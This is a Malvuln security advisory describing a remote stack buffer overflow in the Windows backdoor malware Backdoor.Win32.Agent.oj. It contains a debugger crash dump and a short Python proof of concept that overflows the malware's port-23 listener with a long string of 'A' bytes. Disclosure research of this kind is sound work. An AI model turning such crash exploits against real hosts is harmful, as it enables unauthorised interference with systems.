BACKDOOR.WIN32.AGENT.OJ / Remote Stack Buffer Overflow

2021.04.30
us malvuln (US) us
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/c1e92e04cdb432d83ea2610ef226d4cd.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Agent.oj Vulnerability: Remote Stack Buffer Overflow Description: The malware listens on TCP port 23. Third-party attackers can send a specially crafted payload, triggering a classic stack buffer overflow overwriting ECX, EIP registers. Type: PE32 MD5: c1e92e04cdb432d83ea2610ef226d4cd Vuln ID: MVID-2021-0196 Dropped files: ASLR: False DEP: False Safe SEH: True Disclosure: 04/29/2021 Memory Dump: (b18.1c64): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=41414141 edx=77b09d70 esi=00000000 edi=00000000 eip=41414141 esp=03151660 ebp=03151680 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? 0:003> .ecxr eax=00000000 ebx=00000000 ecx=41414141 edx=77b09d70 esi=00000000 edi=00000000 eip=41414141 esp=03151660 ebp=03151680 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? 0:003> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for Backdoor.Win32.Agent.oj.c1e92e04cdb432d83ea2610ef226d4cd.exe *** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Agent.oj.c1e92e04cdb432d83ea2610ef226d4cd.exe FAULTING_IP: Backdoor_Win32_Agent_oj_c1e92e04cdb432d83ea2610ef226d4cd+2255 00402255 88443418 mov byte ptr [esp+esi+18h],al EXCEPTION_RECORD: 0324f9f4 -- (.exr 0x324f9f4) ExceptionAddress: 00402255 (Backdoor_Win32_Agent_oj_c1e92e04cdb432d83ea2610ef226d4cd+0x00002255) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 03250000 Attempt to write to address 03250000 PROCESS_NAME: Backdoor.Win32.Agent.oj.c1e92e04cdb432d83ea2610ef226d4cd.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000008 EXCEPTION_PARAMETER2: 41414141 WRITE_ADDRESS: 41414141 FOLLOWUP_IP: Backdoor_Win32_Agent_oj_c1e92e04cdb432d83ea2610ef226d4cd+2255 00402255 88443418 mov byte ptr [esp+esi+18h],al FAILED_INSTRUCTION_ADDRESS: +2255 41414141 ?? ??? MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 IP_ON_HEAP: 02910b70 The fault address in not in any loaded module, please check your build's rebase log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. IP_IN_FREE_BLOCK: 41414141 CONTEXT: 0324fa44 -- (.cxr 0x324fa44) eax=00000041 ebx=7774e250 ecx=f2b2fa60 edx=0324fdc4 esi=00000144 edi=02910b70 eip=00402255 esp=0324fea4 ebp=743d1e90 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 Backdoor_Win32_Agent_oj_c1e92e04cdb432d83ea2610ef226d4cd+0x2255: 00402255 88443418 mov byte ptr [esp+esi+18h],al ss:002b:03250000=?? Resetting default scope FAULTING_THREAD: ffffffff BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 LAST_CONTROL_TRANSFER: from 02910b70 to 00402255 FRAME_ONE_INVALID: 1 STACK_TEXT: 0324fea4 00402255 backdoor_win32_agent_oj+0x2255 0324fea8 02910b70 unknown!unknown+0x0 STACK_COMMAND: .cxr 000000000324FA44 ; kb ; dds 324fea4 ; kb SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: backdoor_win32_agent_oj+2255 FOLLOWUP_NAME: MachineOwner MODULE_NAME: Backdoor_Win32_Agent_oj_c1e92e04cdb432d83ea2610ef226d4cd IMAGE_NAME: Backdoor.Win32.Agent.oj.c1e92e04cdb432d83ea2610ef226d4cd.exe DEBUG_FLR_IMAGE_TIMESTAMP: 378468b1 FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.Agent.oj.c1e92e04cdb432d83ea2610ef226d4cd.exe!Unknown BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_backdoor_win32_agent_oj+2255 Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=23 def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) PAYLOADOR="A"*2879 s.send(PAYLOADOR) s.close() print("Backdoor.Win32.Agent.oj / Remote Stack Buffer Overflow") print("MD5: c1e92e04cdb432d83ea2610ef226d4cd") print("By Malvuln"); if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).


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